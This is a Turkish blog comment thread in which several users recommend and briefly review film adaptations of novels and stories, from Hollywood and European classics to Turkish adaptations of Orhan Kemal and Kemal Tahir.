    *yinede ben kartal tibet’e fazla yüklenmek istemem şu noktayıda söylemeden 80′li yıllar video’nun en revaçta oldugu yıllardı ve sunal o zamanın en çok kazanan ve kazandıran oyuncusu idi.filmler fazlası ile birbirine benziyordu ve seyirçi sunal’ın yaptıgı herşeyi kabul etmeye hazırdı.keşke oda bu güç ile seyirçiye daha iyi şeyler sunabilseydi:(((

  • cokseybilenkiz diyor ki:

    night to remember:unutulmayacak gece 1958
    yön:ward baker
    yazar:walter lord (roman)
    titanik faciasının sinemadaki en iyi çevrimlerinden biride bu filmdir.golden globes film ödüllerinde ”en iyi film ”ödülünü alan film ile ilgili ilginç bilgiler var .örneğin filmin yapımcısı”william mac Quitt’i titanik felaketinin az sayıdaki kurtulan şanslı yolcusundan biri imiş.ve bazı söylentilere göre bu filmde kullanılan batma sahneleri 1943 yapımı ünlü nazi propaganda filmi”titanic”filmindenmiş.35 feet boyundaki dev gemi maketinin 15 feet derinlikteki bir havuza nasıl sıgdırıldıgı ise hala bir sırmış


    le toubib:doktor 1979

    yön:pierre-granier deferre
    yazar:jean freustie(roman)
    1983 yılında çıkacağı varsayılan 3.dünya savaşı sırasında cephede gecen bir savaş karşıtı film.doktor rolünde alain delon oynuyor.savaş görüntülerinden daha çok doktorların hastalarını kurtarmak için mücadeleleri üzeine yogunlaşan bir film.


    magyarok:macarlar 1979

    yön:zoltan fabri…..
    yazar:jozsef balazs(roman)
    ikinçi dünya savaşı sırasında biraz daha fazla kazanmak için almanyaya çalışmaya giden macar köylülerinin içleri ısıtan öyküsünü anlatan sade ve içten bir film.büyük işler yapmıyorlar yada kahramanlıklar sadece görüyorlar ve ayakta kalmaya çalışıyorlar.ince bir gülmece duygusununda eksik olmadıgı güzel bir film.zamanında ülkemizde tiçari sinemalarda oynayan ilk macar filmi olmuş aynı zamanda


    the fallen idol:kaza mı cinayet mi? 1948

    yön:carol reed
    yazar:graham green (öykü)
    philippe bir büyükelçilikte yaşıyor sadece 8 yaşında ve vaktinin çogunu elçiliğin kahyası ile geçiriyor.adama çok düşkün ikisi birlikte bazı sırlara ortaklar.örneğin kahya evli oldugu halde bir başka kadın ile birlikte.ama bu ikisinin sırrı.kahyanın karısı ise masallardaki cadı gibi.elçilkte kimsenin olmadıgı bir gün bir olay oluyor ve philippe o güne kadar ona ögretildiği gibi gercekleri söylüyor….
    yönetmen reed ‘in iddiasız ama atilla dorsayın deyimi ile”alçak tonda bir başyapıtı”mutlaka izlenmeli

    whose life is it anyway?karar kimin?1981
    yön:john badham
    yazar:brian clark (roman)
    filmin ana meselesi şu.”bir insanın hayatı kime aittir,kendisine mi,adetlere,alışkanlıklara mı,yoksa kurallara mı?”ölmek isteyen bunun içinde doktorundan yardım isteyen felçli genç adam ve onu ”burası bir hastane,öldürmeyiz yaşatırız ”diyerek hayatın güzelliklerini görmeye çagıran doktorun hikayesi.herşey iyi güzel ama genç adam sadece ve sadece başını ve boynunu oynatabiliyor.çokt* saglıklı.uzun bir ömür kendisini bekliyor.ama hayat sadece sırt üstü yatarak bitirilirmi?öte nazi bazı hastalar için gereklimi?işte bütün soruları seyirçiye sorup onu yanıttsız bırakan bir film.(içimdeki deniz-filmi ile akrabalıgını sanırım fark ettiniz)

  • cokseybilenkiz diyor ki:

    third man on the mountain:dagdaki üçünçü adam 1959
    yön:ken annakin
    yazar:james ramsay ullman(roman)

    yazarın(banner’in the syk-gökyüzündeki flama)isimli romanının uyarlaması.1865 yılında isviçrenin bir dag köyünde ölmüş bir rehberin oglunun tek isteği babası gibi büyük bir dagçı olmaktır.özenli bir kamera çalışmasının yapıldıgı film aynı zamanda dagçılık sporundan hoşlananlar içinde güzel bir film


    last of the high kings:son kral1996

    yön:david keating
    yazar:fredia macanna(roman)

    1977 yılının dublin kenti.elvis presley yeni ölmüş.bu sırada şehirde aktör babası ve protestan annesi’nin arasında sıkışan 17 yaşındaki frankie artık liseyi bitirmiştir ve yeni bir yaşamın kapısını aralamak üzeredir


    the mean season:çinayet mevsimi 1985

    yön:phillip borsos
    yazar:john katzenbach (roman)
    miami herald gazetesindeki işini bırakıp küçük bir gazetede işe başlayan malcolm bir süre sonra bir seri katilin hedefi olur.yazdıgı yazıları begenen katil ona hayatı zindan etmeye kararlıdır


    the stone killer:taş yürekli katil 1973

    yön:michael winner
    yazar:john gardner(roman)
    70′li yıllar boyunca bir ikili olarak birlikte pek çok filme imza atan winner-bronson bereberliğinin belli klişeler ile donatılmış bildik bir örneği.bronson bu filmde bir polis rolünde.tabiki kendi dogruları olan mafyanın üstüne gözünü kırpmadan giden bir polis bu.winner bilinen ustalıgı ile bir gerilim yaratabiliyor yinede


    symphonie:kır senfonisi(1946)

    yön:jean delannoy
    yazar:andre gide (roman)

    isviçrenin bir dag köyünde yaşayan iyi kalpli köy papazı ve himayesine aldıgı 15 yaşındaki kimsesiz vede kör ve sagır kızın yürek burkan hikayesi.din adamının bütün iyi niyeti ile kapısını açtıgı bu küçük kız bir süre sonra papazın karısı başta olmak üzere çevre halkı tarafındanda istenmeyecektir .yazar andre gide’nin 1920 yılında yazdıgı romanından güzel bir fransız melodramı


    felidae:1994

    yön:michael schaack
    yazar:akif pirinçci(roman)

    bir animasyon.üstelik filme konu olan romanın yazarı bir türk.üstelik almanyada çok sevilen ve okunan bir yazar.yarattıgı karekter felidae ise almanyada bir mitmiş:))nasıl olmasın felidiae dünya tatlısı bir kedi.dogası gereği oldukca meraklı bir kedi.eh meraklı bir kediye eger bir meslek seçse ne yakışır?dedektiflik olabilirmi.ülkemizde hiç bilinmeyen bir animasyon.
    bense sadece bir tesadüf üzerine haberdar oldum:sinema dergisinin eski sayılarından birindeki bir fotograf ve 2 satır yazı .akif pirinçci’nin romanının ismi ile birleşti ve evet gercektende böyle bir animasyon varmış.birde izleyebilseydim:(((


    chambre ardeutte:ateş cezası(1962)

    yön:julien duvivier…
    yazar:john dickson carr’ın(roman)

    yy .önce zehirleyerek adam öldürenleri yakarak idam ederlermiş.bu cezanın adıda ”ateş cezası”imiş.işte filmimizin kahramanlarından birinin atasıda yüz yıllar önce böyle bir ceza ile idam edilmiş .günümüzde ise yakılan ile yakanın aileleri bir evlilik sebebi ile akraba olmak üzere.polisiye bir fransız filmi


    the macomber affair:macomber olayı(1947)

    yön:zoltan korda…
    yazar:ernest hemingway(öykü)

    filme adını veren macomber ve eşi safariye çıkar.bu sırada macomber öldürülür.herşeyi gören eşi ise susmayı terçih eder.oyuncuları ile hatırlanabilecek bir film


    beau geste:yakışıklı geste(1939)

    yön:william wellman…
    yazar:p.c.wren (roman)

    üç ingiliz kardeş kuzey afrika’da araplara karşı savaşan fransız lejyonuna katılır başlarında bulunan çavuş onlara çok sert davranmaktadır.üç kardeş bir yandan çavuş ile bir yandan araplar ile müçadele eder ve bu cehennemde yitip giderler.
    yazarın aynı isimli romanı daha önce 1926 yılında yarı siyah beyaz olarak sinemaya uyarlanmış.1966 yılında yapılmışi bir uyarlaması daha var ama bu çevrimdeki baştaki sahne bir klasik nerde ise.son olarak romanda fransız olan çavuş fransızlar alınmasın diye filmde rus yapılmış.ayrıca filmin tamamı amerikada buttercup vadisinde çekilmiş


    letter to three wives:üç kadına bir mektup(1949)

    yön:joseph l.mankiewicz
    yazar:john klempner(öykü)
    yazarın cosmopolitan dergisinde yayınlanan öyküsünden yapılan uyarlama döneminin en ünlü kadın konulu melodramlarından biri.dışardan dertsiz tasasız görünen üç tipik amerikalı ev kadını neşe ile başladıkları günü tam bir azap ile bitirirler.vamp bir kadın içlerinden birinin eşi ile kaçmıştır.kadınlar ise bu sırada bir teknede geleneksel piknik gününe dogru yol alırlar.onlar yola çıktıgında gelen bir mektup bütün günlerini zehir eder.özellikle en gençleri aynı zamanda en kuşkuçu olanlarıdır.iyi bir film


    on moonlight bay:1951

    yön:roy del ruth
    yazar:booth tarkington(öykü)
    doris day’ın başrolünde oldugu hoş bir aşk filmi.penrod öykülerinden

    les orgueilleux:gururlular:1953

    yön:yves ellegret
    yazar:jean paul sartre (öyküs)
    diolaglar jean clouzot
    meksikanın küçük bir köyünde yaşayan alkolik bir genç doktor ve kasabaya gelen bir çiftin hikayesi.çiftin erkeği köyde ölür.genç kadın beş parasız dünyanın bir ucunda kalmıştır.bu arada köyde bir salgın çıkar.bu salgın iki yaralı insanı birbirine yaklaştırır.


    the haunted palace:perili ev(1963)

    yön:roger corman
    yazar:H.P.Lovecraft(öyküleri)
    b filmlerin büyük yönetmeni cormandan bir klasik.gerçi yönetmen filmin lovecraft’ın öykülerinden yola çıkılarak yapıldıgını reddediyor ama kaynaklarda filmin yazarın öykülerinden yapıldıgı belirtiliyor.1745 yılında yakılan doktoru ve 1855 yılında onun yakıldıgı şehre gelen torunu vincent price oynuyor 1992 yapımı”the resurrected”filmi ise aynı konunun ikinçi çevrimi

  • cokseybilenkiz diyor ki:

    screamers:1995
    yön.christian duguay
    yazar:philip k.dick (öykü)
    yazarın ”second variety”isimli öyküsünün sinema uyarlaması.gelecekte gecen filmde screamer isimli robotlar insanlar ile savaşır.güzel bir bilimkurgu filmi


    1911:le colonel chabert:yön:andre calmettes

    1943:le colonel chabert:yön:rene le henaff
    1994:le colonel chabert:yön.yves angelo
    albay chabert:honore de balzak’ın (romanından)

    ölüm kızıldır,daha sonra mavileşir ve en sonunda sadece sessizlik kalır.ölüm sessizliğin sessizliğidir aslında…..
    savaşta öldü sanılan albay chabert 10 yıl sonra ismi ve görünümü değişmiş olarak parise döner.karısı başkası ile evlenmiştir ve kimse onun chabert olduguna inanmaz

    travels with my aunt:teyzemle seyahat 1972

    yön:george cukor
    yazar:graham greene (roman)
    çekingen kendi halinde bir banka memuru annesinin cenazesinde öldü sandıgı teyzesine raslar.sonra olaylar hızla gelişir ve genç bankacı polisin annesinin külleri içinde marihuana aradıgını farkeder.sonrası ise eksantrik bir tip olan teyzesi ile birlikte avrupada peşindeki adamlardan kaçmaya çalışır.
    keyifli ve heyacanlı bölümleri olan bir film .teyze rolündeki maggie smith’te çok iyi


    bless the beasts and children:bırakın yaşasınlar:(1972)

    yön:stanley kramer
    yazar:glendon swarthout (roman)
    filmde olaylar bir gençlik kampında gecer.hepside degişik tellerden çalan 6 genç yöreye gelen buffalo avcılarına karşı birleşirler

  • kadir503 diyor ki:

    Closer – Mike Nichols (2004)

    Patrick Marber’in oyunundan uyarlanan film; Nichols’un elinden, usta olduğu bir alan olan kadın-erkek ilişkilerini modern çağın etkisiyle Nichols’un elinden çıkmıştır. Özellikle Natalie Portman’ın performansı dikkat çekicidir.

    Sleuth – Joseph L. Mankiewicz (1972)

    Anthony Shaffer’in oyunundan uyarlanan film, bir tiyatro oyununu andıracak şekilde büyük bir malikanede geçmeketedir. Zekici yazılmış ve kurgulanmış filmde; iki baş rol oyuncusu Laurence Olivier ve Michael Caine dışında hiçbir oyuncu yoktur. Yer yer bir dedektiflik filmi yer yer de psikolojik bir gerilim filmine dönüşür. Günümüzde biraz unutulmuş olsa da unutulmaması gerekenlerden…

  • cokseybilenkiz diyor ki:

    bluebeard:mavi sakal:1944
    yön:edward g.ulmer
    charles perrault(masal)

    john carradine mavi sakal rolünde.atilla dorsay’a göre çarpıçı bir karekter inçelemesinin oldugu film yetkin bir korku sineması örneği aynı zamanda.aynı masalın başka uyarlamalarıda var.edebiyatın masal kanadına ilgi duyanlar(okumaya onlarla başladım)için güzel bir örnek
    *1938:ernest lubitsch
    *1960:w.lee wilder
    *1962:claude chabrol
    *1972:edward dmytryk
    ……bunlarda diğer uyarlamaların yapım tarihi ve yönetmenleri

  • cokseybilenkiz diyor ki:

    cadence:1989
    yön:martin sheen
    yazar:gordon weaver(roman)

    yazarın ”count a lonely cadence”adlı romanının sinema uyarlaması.sorunlu bir askerin eve dönüş hikayesi.


    the enemy below:1957

    yön:dick powell
    yazar:wendell mayes (roman)
    yazarın ”commander D.A.rayner”adlı romanının sinema uyarlaması.ve bir savaş filmi klasiği.en iyi efekt dalında akademi ödülü var.onurlu düşman özellikle finali ile güzel bir film.


    la belle et la bete:güzel ve hayvan 194
    6
    yön:jean cocteau.
    yazar:prince de beaumont(masal)
    klasik masalın en ünlü uyarlaması.çizgi filmlere ,tv dizilerine konu olan öykünün en iyi ve bilinen uyarlaması.cocteau filmde gercek olmayan gerçekliği arar.büyükler için bir masal filmi


    persuasion:2007(tv)

    yön:adrian shergold
    yazar:jane austen(roman)

    bu tv dizisi şu günlerde ülkemizde vcd olarak yayınlandı.yazarımızın hastalıgı sırasında yazdıgı romanı-ki son eseri-diğer eserlerinden daha karamsar bir tonda.sinemaya sadece bir defa oda 1995te aktarılmış -çok iyi oldugu söyleniyor bu çevrimin-toplamda ise 1972 yılındaki tv uyarlaması ve şu sıra piyasada bulunan bbc yapımı tv filmi ile birlikte sadece 3 kere.bu bütün romanları 39 defa tv ve sinemaya uyarlanan yazarın en az çevrimi yapılmış romanı.
    anne isimli karekterimize genç bir adam talip olmuştur.iyi ve gururlu biri olan genç adam ne yazıkki servet ve mevki sahibi degildir.anne gösteriş meraklısı babası kızkardeşleri ve akılzade bir yakınının telkini ile genç adamı reddeder.8 sene sonra anne artık 27 yaşındadır -ve hala evlenmemiştir-birdenbire genç adam zengin ve mevki sahibi olarak cıkıp gelir.evlenmek istemektedir.ama kendisini 8 sene önce başkalarının sözü ile bırakan anne ile degil.
    anne karekteri austen’in yarattıgı en yaşlı genç kadın karekteri imiş bu arada.izlenebilir bir tv filmi.sanıyorum romanında peşine düşmem gerekecek:))


    sinnui yauman:çin hayalet öyküsü 1987

    yön:siu-tung ching
    yazar:songling pu(roman)

    hong-kong sinemasından gelen bir fantastik hayalet filmi.kült film oldugu söylenen bu eserde genç bir adamın güzel bir kadına aşkı anlatılır .ama kadın yaşayanların ruhları ile beslenen yaşlı bir agaçın hizmetçisidir.bunun üzerine genç adam kötü ruhu öldürmek üzere öbür tarafa gecer.
    ing ismi:a chinese ghost story


    der richter und sein henker:yargıç ve celladı 1976

    yön:maximilian schell
    yazar:friedrich dürrenmatt(roman)

    isveçli yazarın en tanınmış romanının uyarlaması.katil kim espirisi üstüne yogunlaşan bir polisiye film.yönetmen martin ritt önemli bir rolde .schell ise 60′lı yılların ünlü bir oyuncusu bu filmde yönetmenliği denemiş kendisi


    sleep my love:katil ruhlar 1948

    yön:douglas sirk.
    yazar:leo rosten(roman)

    karısını öldürmek için planlar yapan bir adamın hikayesinin anlatıldıgı bu kara film kimi eksikliklerine ragmen usta işi bir film.heyacanlı sahneler barındıran filmde karısını intihara sürükleyerek ondan kalacak mirası metresi ile paylaşmayı düşünen adam ve hiç bir şeyden haberi olmayan masum karısının öyküsü sonuna kadar merak ile izleniyor


    our man in havana:havanadaki adamımız 1959

    yön:carol reed
    yazar:graham greene(roman)

    soguk savaş yıllarında gecen bir casusluk komedisi.havanaya gönderilen bir elektirikli süpürge satıçısı burada yanlışlık ile casus sanılır.yazarın senaryosunuda yazdıgı film roman kadar akıçı degilmiş eleştirmenlere göre

    a touch of larceny:küçük bir hırsızlık 1959

    yön:guy hamilton
    yazar:andrew garve(roman)
    filmde olaylar,başlıca üç kişi arasında gecer.çapkın bir adam,eski silah arkadaşı ve nişanlısı ile karşılaşır ve genç kıza kur yapmaya başlar.iki erkek arasında kalan kız ise ün ve para peşindedir.yazarın(the megstone piot)adlı romanının uyarlaması.tek sorun filmin bir komedimi yoksa duygusal bir maceramı olacagı konusundaki kararsız tavrı.izlenebilir

  • okaliptus80 diyor ki:

    Sevgili Dilek; bir ekleme için araya giriyorum. Irvin D. Yalom’un dünyaca ünlü romanı ‘Nietzsche Ağladığında’ sinemaya aktarılmış oldu. Henüz görme imkanım olmadı filmi. Nietzsche’yi Armand Assante canlandırıyormuş.
    Kitap çok güçlüydü; nasıl bir uyarlama olduğu hususunda merak içerisindeyim.

  • okaliptus80 diyor ki:

    ‘Devlerin Ölümü’ (1990)

    İrfan Tözüm’ün (Filmlerinde kadınlar başat unsurdur.), üç ayrı öyküden uyarladığı başarılı bir toplumsal yergi. Tarık Akan ve Hümeyra, üç ayrı öyküde, üç farklı karakteri canlandırıyor. (Akan’ı, pavyonda saçları dökülmüş halde göründüğü sahnelerde tanımakta güçlük çekmiştim.) Kadın olmanın zorluklarını ana mesele edindiği görülen film, Hümeyra’nın başarılı performansıyla dikkat çekiyor. (‘Çilli’nin son sahnelerde ettiği dans ve ardından kötü yazgısına dair serzenişleri…)

    Devlerin Ölümü, Sabahattin Ali’nin ‘Hanende Melek’, ‘Çilli’ ve ‘Yeni Dünya’ adlı öykülerinden uyarlamadır.

  • November76 diyor ki:

    ‘Angel Heart’ {Şeytan Çıkmazı} / Alan Parker – 1987

    William Hjortsberg’in “Falling Angel” adlı romanından Alan Parker tarafından senaryolaştırılmış, bir dedektif öyküsü.

    Dedektif öyküsü dediysek öyle sıradan bir öykü değil; ruhunu şeytana satan bir adamın, wodoo büyülerinin konu edildiği; Alan Parker’ın yarattığı etkileyici atmosfer eşliğinde, başkarakterle birlikte gerçeği bulmak için yapılan, seyircinin her an sorularla boğuştuğu ve etkileyici bir sonla biten şaşırtıcı bir yolculuk.

    Bu yolculuk sırasında görülen vantilatör, asansör, merdiven gibi imgeler ise kişinin belleğine kazınıyor adeta. Boğucu ve yağmurlu New York’un binalarla dolu ürkütücülüğünde oluşturduğu kasvetli ortamdan güneyin o muhteşem manzaralarına geçişte renklerin yansıması müthiş ancak manzara güzelleşmesine rağmen tansiyon düşmüyor aksine daha da yükseliyor, bu zıtlığı da çok iyi kullanmış fikrimce.

    Oyuncu performansları çok iyi, “Harry Angel” rolünde Mickey Rourke çok iyi iş çıkarmış kanaatimce ve özellikle De Niro’nun şeytan tiplemesi müthiş. Al Pacino’nun “The Devil’s Advocate – Şeytanın Avukatı” filmindeki şeytan tiplemesinin çok başarılı olduğunu düşünsem de yıllardır beni en çok etkilemiş olanı De Niro’nun “Louis Cypre”sidir.

    Müziklerini de hatırlatmakta yarar var, insanın içine işliyorlar hem gerilim sağlayanları hem de bluesları.

  • okaliptus80 diyor ki:

    ‘Chitty Chitty Bang Bang’ (1968) / Ken Hughes

    (İan Fleming’in çocuklar için yazılmış “tek” kitabından…)

    Bazen bir film bazen okuduğunuz bir kitap bazen de çalan bir tını sizi ansızın yıllar öncesine, çocukluk günlerinize götürür. Tıpkı Nemeçekli Pal Sokağı Çocukları’nı okurken mahalle oyunlarını ve tatlı sert çekişmeleri hatırladığımız gibi…
    Chitty Chitty Bang Bang, Ferenc Molnar’ın kitabı gibi dokunaklı değil tabi. Gerek kitap gerekse film, insanı tatlı bir düş âleminde yolculuğa çıkarıyor. Bir Terry Gilliam filmiyle, bir ‘The Princess Bride’ (Rob Reiner, 1987) ile eş değer bir yapım. O uçan arabanın içinde olmayı isterdim doğrusu.

    Çocukken her şey ne kadar da toz pembe görünür. Kitabın, James Bond gibi çelik soğukluğunda bir figürü yaratmış adamın (İan Fleming) elinden çıktığına inanmak güç!

  • okaliptus80 diyor ki:

    E. M. Forster’ın romanından… Bir James Ivory filmi:

    ‘A Room With a View’ {Manzaralı Oda} / 1985

    Oryantalist (ve beyazperdeye uyarlanmış bir diğer) kitabı A Passage to India ile bilinen İngiliz öykü ve roman yazarı Edward Morgan Forster’ın aynı adlı romanından uyarlama. Kitabı okumadığım için aslına ne kadar sadık kalınmış bilemeyeceğim ama karşımızda buz gibi edebiyat uyarlamasıyım diye bağıran bir film var. Olaylar, Victoryen dönemin ardılı Edward İngilteresi’nde (kabaca 1900-1914 arası), genç bir kız olan Lucy’in (Helena Bonham Carter) aşkı ve hayatı keşfetmesi ekseninde gelişiyor. Genç kızın, refakatçisi konumundaki yaşlı kadın ile Floransa’da yaşadığı kısa serüven, nişanlısı Daniel Day Lewis’te (film boyunca kitabı elinden bırakamadı.) kendini bulan İngiliz tutuculuğu ve statükoculuğu ila Floransa’da tanıştığı Julian Sands’ın temsil ettiği kural ve ayıp tanımaz uçarı ruhların tenakuzunu gözler önüne serer. Dönemin sosyal ve kültürel yapısı ile üst sınıfların karakteristik yaşam kabulleri de ustaca yedirilir.

    Dün akşam Cine 5 kanalında görüp uzun bir aradan sonra tekrar izlediğim film oldu Manzaralı Oda. Ivory’in, ayrılmaz destekçisi Ismail Merchant ile kotardığı -ve yine aristokrat çevrelerde geçen- başarılı çalışmalarından bir tanesi… Manzaralar ve mekanlar da göz okşayan cinsten.

  • November76 diyor ki:

    Bir Ivory uyarlaması daha:

    ‘The Golden Bowl’ {Altın Kap} / James Ivory – 2000

    Ivory’nin Henry James’in romanından uyarladığı filmde, Uma Thurman harikalar yaratıyordu. Yine Kate Beckinsale, Jeremy Northam, Nick Nolte ve Angelica Huston da çok iyi performans sergiliyorlardı.

    Ivory filmlerinin geçtiği dönem olan Edward İngiltere’sinde geçen olayda aşık bir çiftin yoksulluk yüzünden birbirlerinden ayrılıp kendilerine zengin eşler seçmeleri ancak bir araya geldikleri andan itibaren bu aşkın bir ilişkiye dönüşmesiyle, bu durumun ailelerine ve kendi hayatlarına etkisinin anlatıldığı filmde dönemin aristokrat yaşantısında insani erdemler sorgulanıyor yer yer de “görmemiş Amerikalılar”dan dem vuruluyordu.

    İzler izlemez Ivory filmleri arasında en sevdiklerimden biri oldu doğrusu. :)

  • November76 diyor ki:

    ‘The Other Boleyn Girl’ {Boleyn Kızı – 2008} / Justin Chadwick

    Philippa Gregory’nin aynı adlı romanından uyarlanan film, Natalie Portman, Scarlett Johansson, Eric Bana ve Kristin Scott Thomas gibi oyuncuları barındırmasına rağmen iyi bir uyarlama olmamış kanaatimce. Zira romana pek sadık kalınmamış, ne olayların gidişine ne de karakterlerin çizilmesi konusuna. Ne romandaki Anne ve Mary arasındaki rekabet, kıskançlık hisleri tam olarak verilmiş, ne üç kardeş arasındaki ilişki, ne Mary’nin hayatında olup bitenler ve onun duyguları, ne Anne’in o mevkiiyi elde ettikten sonra ne kadar kudretli bir hale geldiği ve kral dahil tüm herkese hükmettiği, ne de Protestanlık mezhebini yavaş yavaş krala nasıl kabul ettirdiği… Romandan sonra izleyince sıradan kupkuru bir film olmuş hissi veriyor, oyuncu kadrosuna rağmen.

    Romanı çok daha sürükleyici ve çok daha ilginç. İnsanın aklına “Başka bir yönetmenin elinde, daha uzun ve daha kapsamlı bir kurguyla, daha şaaşalı bir saray yaşantısı -ziyafetleri, av törenleri, kostümlü baloları ve danslarıyla- görkemli bir kostüm draması çıkmaz mıydı?” sorusu takılıyor kolaylıkla.

  • kadir503 diyor ki:

    Jackie Brown {1997} / Quentin Tarantino

    Yönetmenin nispeten sevilmeyen filmlerinden, ben severim tabii:), Elmore Leonard’ın kitabından filmi uyarlayan Tarantino; genelde kendi hikayelerini yazdığından bir edebiyat uyarlamasının altından da kalkabileceğini kanıtlamış bana göre. Pam Grier’in canlandırdığı bir hostes olan Jackie Brown’un ve çevresindeki soyguna dayalı suç ilişkilerini anlatan film; kanımca oldukça iyi bir suç filmidir.

  • okaliptus80 diyor ki:

    Ersin Pertan, anti Kemalist denilerek epey tartışmalara vesile olmuş bir Kemal Tahir romanını, “Kurt Kanunu“nu sinemamıza uyarlayan isimdir. (1991)
    Kemal Tahir’in, İttihat ve Terakki’nin vaktiyle önemli isimlerinden olan Kara Kemal aracılığıyla düşüncelerini aktarmaya çalıştığı roman, aynı zamanda usta yazarın o ünlü A.T.Ü.T. (Asya Tipi Üretim Tarzı) doğrultusunda görüşler sunduğu bir eserdir. Haziran 26′daki İzmir Suikasti demlerinde geçer. Bağımsızlık savaşında asil kadroda yer almış; fakat Cumhuriyet Türkiyesindeki kabuk değişimine ayak uyduramamış kimi efradın, yani İttihatçıların, baştaki kadro ile çatışması (ve tasfiyesi) anlatılır. Film, başarılı bir uyarlamaydı fikrimce. Rahmetli Yılmaz Zafer de yer almıştı.
    “Kurtlukta düşeni yemek kanundur!”

    Ve iki sene sonra (93) gelen bir Orhan Kemal uyarlaması: “Tersine Dünya“. Kadroda kimler yoktu ki… Film, kadın ve erkeğin toplumsal rollerinin bir an için tersine döndüğü bir dünyada yaşanacak olanlara parmak basıyordu sanki.

    Kuşatma Altında Aşk“ın ise uyarlama olup olmadığını bilemiyorum.

    Ersin Pertan geçtiğimiz günlerde yaşamını yitirdi. Sinemamızın başı sağolsun!

  • Rashomon diyor ki:

    Kemal’lerden devam edelim…

    Aşağıda yazacağım iki filmin ortak yanları; iki filmde Çukurova’da geçiyor ve eserlerinden uyarlama yapılan iki yazar da Çukurovalı. Nede olsa, pazarda birlikte domates satmış bu iki yazar.

    Yer Demir Gök Bakır (Zülfü Livaneli-1987); eser Yaşar Kemal,

    Bereketli Topraklar Üzerinde (Erden Kıral-1980); eser Orhan Kemal.

  • Rashomon diyor ki:

    Türk sinemasının en iyi filmlerinden bir tanesi
    Taşı toprağı altın denen şehre göç, burada umduğunu bulamamak ya da yaşanan büyük trajedi.

    Gurbet Kuşları (Halit Refiğ-1964); eser Orhan Kemal…

    ——-

    Ümitsiz bir aşk öyküsü;

    Ağrı Dağı Efsanesi (Memduh Ün-1975); eser Yaşar Kemal…

    ——-

    Engel tanımayan bir aşk öyküsü;

    Mine (Atıf Yılmaz-1982); eser Necati Cumalı)…

    ——-

    Bir adama aşık olmak ya da onun evli olduğunu öğrenip, onu kendinden soğutmaya çalışmak;

    Vesikalı Yarim (Lütfi Ö. Akad-1968); eser Sait Faik Abasıyanık…

  • okaliptus80 diyor ki:

    Kemal’lerden devam edeyim ben de… Orhan Kemal’den… Reklamları dönüyor kaç gündür. Yazarın, 80′lerde TRT’de yayınlanmış Fikret Hakanlı, Erol Taşlı o unutulmaz diziye kaynaklık eden ve DP zamanlarında geçen romanı “Hanımın Çiftliği” bir kez daha dizi olarak ekrana çıkmaya hazırlanıyor.

    Son savaş yıllarında hapishane yaşamının güçlüklerini ve dayanışma içerisindeki “Adem Baba”ları anlatan bir film. İnanır’ın camın önünde donarak öldüğü sahne aklımdan çıkmaz:

    - ’72. Koğuş’ (Erdoğan Tokatlı – 1987)
    (Orhan Kemal’in eserinden…)

    Trakyalı bir ailenin büyük kentte tutunma serüvenini anlatan bir filmimiz… Başrol oyuncusu Müjdat Gezen “Amirim ne derse o!” mantalitesinde, çelik disiplinli bir karakteri canlandırmıştı:

    - ‘Bekçi’ (Ali Özgentürk – 1983)
    (Orhan Kemal’in ‘Murtaza’ adlı eserinden…)

    - ‘Avare Mustafa’ (Ayhan Işık) ve ‘Devlet Kuşu’ (Kemal Sunal) yine onun bir eserinin iki farklı dönemlerde çekilmiş uyarlaması idi.

    - Şahin Gök’ün yönettiği ‘Eskici ve Oğulları’ ila Hülya Koçyiğitli toplumsal bir taşlama olan ‘Sokaklardan Bir Kız’ bildiğim diğer Kemal uyarlamaları. Daha da var elbette.

  • Rashomon diyor ki:

    Üç cezaevi filmi uyarlaması yazayım…

    Bu üç filmin ortak yanı, Kadir İnanır’ın başrol oynaması.

    (Okaliptus’un de yazmış olduğu)72. Koğuş (Erdoğan Tokatlı-1987); eser Orhan Kemal,
    Karılar Koğuşu (Halit Refiğ-1989); eser Kemal Tahir,
    Tatar Ramazan (Melih Gülgen-1990); eser Kerim Korcan…

    Tatar:-Gel demişsin! Geldim işte Abdurrahman Çavuş!

  • okaliptus80 diyor ki:

    Kemal Tahir’i Halit Refiğ kadar seven başka bir sanatçı daha var mıdır bilmiyorum. Her röportajında hararetle Tahir’e duyduğu hayranlığını, onun üzerindeki etkisini anlatır. Uzun zamandır film çevirmiyor Refiğ.

    80 darbesinden sonra gösterimi yasaklanan, bir kopyası ancak 90ların başında özel bir kanalda ortaya çıkan ünlü ‘Yorgun Savaşçı‘ bir diğer Refiğ/Tahir ürünü.

    Yine çok sevdiğim -bence muhteşem- filmlerimizden biri olan ‘Haremde Dört Kadın‘da da beraber çalışmışlardı biliyorsunuz. Refiğ yönetmen koltuğundaydı; Tahir ise filmin senaristiydi.

    ‘Güneşe Köprü’ (Erdoğan Tokatlı – 1987) yine bir Kemal Tahir uyarlamasıydı.

    Osmanlı’nın son döneminde geçen ‘Esir Şehrin İnsanları’nı çok yakın zaman önce dizi halinde izlemiştik. Artık TRT’nin huyundan mıdır bilinmez ama tatmin ediciydi bence bu Tahir uyarlaması. Başka bir kanalın yapımcılığında ele alınsaydı iyi olmayacaktı belki de. Özel kanallarda yayınlandığında bazı kaygılar giriyor işin içine, eserle alakası olmayan işler çıkıyor. Halit Refiğ’in 1975 senesinde Halit Ziya Uşaklıgil’den uyarladığı Müjde Arlı, Salih Güneyli ‘Aşk-ı Memnu’ gibi mesela. Bir o güzelim uyarlamaya bak, bir de bugünkü ucubeye. ‘Çalıkuşu’ keza. O da iki üç sene önce aynı akıbete uğramıştı.

  • okaliptus80 diyor ki:

    Nasıl da unutmuşum, hemen üstte bahsettiğim ucubelerin içerisine ‘Yaprak Dökümü’nü de eklemiş olalım. Hangi uyarlamadan bahsettiğim anlaşılmıştır.
    Reşat Nuri Güntekin’in, emekli bir bürokrat olan Ali Rıza Bey’i merkeze aldığı, ailenin (çocuklar) adım adım yozlaşıp uçuruma sürüklenişini anlattığı bu ünlü romanı, Peyami Safa’nın (Safa’yı da geçeriz ileride.) çok iyi verdiği yanlış Batılılaşmayı gözler önüne serer. Yaprak Dökümü perdeye ve ekranlara hiç yabancı değil. İşte uyarlamalar; (ilkini izlemedim.)

    - ‘Yaprak Dökümü’ (Suavi Tedü – 1958)
    - ‘Yaprak Dökümü’ (Memduh Ün – 1967)
    - ‘Yaprak Dökümü’ (Ayhan Önal – 1987; Tv. Dizisi olarak)

    Ben özellikle dizi uyarlamasını epey beğenmiştim. Kerim Afşar, Ali Rıza Bey rolünde oldukça başarılıydı. Vamp kız Sevtap Parman idi.

    Yine geçtiğimiz senelerde TRT’de izlediğim bir uyarlama;

